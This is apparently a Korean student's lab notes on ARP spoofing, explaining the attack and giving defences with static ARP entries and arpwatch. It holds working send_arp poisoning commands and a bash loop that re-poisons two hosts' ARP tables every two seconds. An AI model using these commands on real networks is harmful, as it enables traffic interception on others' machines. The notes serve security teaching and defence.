스푸핑 Spoofing [ARP 스푸핑]
오늘은 실습이 긴 공격을 배웠습니다. 바로바로 스푸핑입니다.
뭔가 이름이 되게 귀엽죠? 하지만 반전매력을 가진 아이입니다.
스푸핑 Spoofing
- '속이다'라는 의미
- IP 주소, 호스트 이름, MAC 주소 등 여러 가지를 속일 수 있으며, 스푸핑은 이런 속임을 이
용한 공격을 총칭한다.
- 인터넷이나 로컬에서 존재하는 모든 연결에 스푸핑이 가능하며, 정보를 얻어내는 것 외에도
네트워크를 오작동 시키는 용도로 이용한다.
- ARP 스푸핑이 다른 공격의 시작이 되는 경우가 많다.
ARP 동작 원리
ARP 스푸핑 공격 원리
ARP 스푸핑 공격 개요
ARP 스푸핑 실습 과정
1) ping을 통해 arp 테이블에 서로의 MAC 주소 저장
[telnet]
# ping 192.168.11.7
[Windows XP]
# ping 192.168.11.17
2) arp 테이블 확인
# arp -a
# arp -a [확인하고자 하는 IP 주소]
[공격 전]
# arp -a 192.168.11.7
# arp -a 192.168.11.17
3) send_arp를 이용한 arp 스푸핑 # send_arp [T1 IP] [공격자 MAC] [T2 IP] [T2 MAC]
- T2에게 T1의 MAC 주소가 공격시스템의 MAC이라고 알린다.
[공격자]
# send_arp 192.168.11.7 00:0c:29:7a:aa:97 192.168.11.17 00:0c:29:4d:de:50
- telnet server [192.168.11.17/00:0c:29:4d:de:50]에게 WinXP[192.168.11.7/00:0c:29:b5:6b:7f]의 MAC 주소가
공격자의 MAC 주소인 00:0c:29:7a:aa:97이라고 속인다.
[telnet]
# arp -a 192.168.11.7
arp -a 192.168.11.7
? (192.168.11.7) at 00:0c:29:7a:aa:97 [ether] on ens32
공격이 성공하여 telnet의 arp 테이블이 변경된 것을 확인할 수 있다.
[공격자]
# send_arp 192.168.11.17 00:0c:29:7a:aa:97 192.168.11.7 00:0c:29:b5:6b:7f
- WinXP[192.168.11.7/00:0c:29:b5:6b:7f]에게 telnet server[192.168.11.17/00:0c:29:4d:de:50]의 MAC 주소가
공격자의 MAC 주소인 00:0c:29:7a:aa:97이라고 속인다
[WindowsXP]
# arp -a 192.168.11.17
공격이 성공하여 telnet의 arp 테이블이 변경된 것을 확인할 수 있다.
* ARP는 일정 시간마다 갱신됨으로 명령은 자동으로 계속 수행되야 한다
# vi sarp
#!/bin/bash // Kali에서는 #!/bin/sh
while [ : ]
do
send_arp 192.168.11.7 00:0c:29:7a:aa:97 192.168.11.17 00:0c:29:4d:de:50
send_arp 192.168.11.17 00:0c:29:7a:aa:97 192.168.11.7 00:0c:29:b5:6b:7f
sleep 2s // 2초마다 arp 명령 보냄
done
sarp 파일 실행
# ./sarp
ARP 스푸핑 대응
1) ARP를 정적으로 수정한다.
arp -s 명령을 이용하여 IP와 MAC을 직접 등록한다. 직접 등록된 MAC 은 arp 응답에 의해 수정되지 않는다.
# arp -s [IP] [MAC]
* 우선순위
static > automatic
* Windows 7 이후 버전에서 맥 주소의 정적 등록은 netsh 명령을 이용했으나 현재 arp ‐s 명령도 사용 가능하다.
netsh interface ip add neighbors [interface명] [IP] [MAC]
Windows 는 기본 모드가 일반 유저 모드이기 때문에 관리자 모드로 실행해야 해당 명령이 가능하다.
* ARP 테이블 정적 주소 설정은 일일이 설정해야 하는 번거로움 때문에 비효율적이어서 하지 않는다.?)(관리해야 하는 PC 및 장비가 많기 때문이다.)
2) arp 테이블 감시 프로그램을 활용
arpwatch를 이용하여 네트워크 상에 IP와 MAC 주소 변경을 감시한다.
arpwatch 설치
CentOS(fedora)의 경우 yum을 이용 설치한다.
- 기본 레파지토리에 제공된다.
# yum install –y arpwatch
- 이외 리눅스는 arpwatch‐****.rpm을 설치한다.
중요 파일
• /usr/lib/systemd/system/arpwatch.service : 스크립트 파일
(/etc/rc.d/init.d/arpwatch)
• /etc/sysconfig/arpwatch : 환경 설정 파일
‐u <username> : defines with what user id
‐e <email> : 메일 수신처
‐s <from> : 보내는 사람
‐n <ip> : 감시할 네트워크
ex) OPTIONS="-u arpwatch -e root -s 'root (Arpwatch)'"
ex) OPTIONS="-u arpwatch -e 'email@naver.com' -s 'root (Arpwatch)'"
* 주의 : OPTIONS 명령어를 두 줄 쓰면 맨 마지막에 추가한 명령만 적용된다.
* 만약 root로 메일을 보낸다면,
# cd /var/spool/mail
# cat root
위의 명령어를 통해 루트에게 온 메일을 확인할 수 있다.
• /usr/sbin/arpwatch : 바이너리 명령어
• /var/lib/arpwatch/arp.dat : IP/MAC 주소, 시간저장 파일
- 시간은 unixtime 형식이므로 date –d@<시간> 으로 변경이 가능하다.
- 내용 확인은 arpwatch 종료후 확인한다.
arpwatch 실행
# systemctl start arpwatch
- 메일 수신처에서 수신된 메일을 확인한다.
- 새로운 Mac 주소가 추가될 경우 : new station
- 기존 정보가 변경된 경우 : changed ethernet address
- MAC주소가 중복된 경우 : flip flop
- 메일은 대부분 스팸 메일함에 저장된다.
※ sendmail이 실행되지 않으면 메일이 전달되지 않는다.
[sendmail 설치]
# yum list sendmail
# yum install ‐y sendmail sendmail‐cf
# yum ‐y install mailx
# systemctl start sendmail
* arpwatch와 sendmail 실행 여부를 확인후 재시작한다.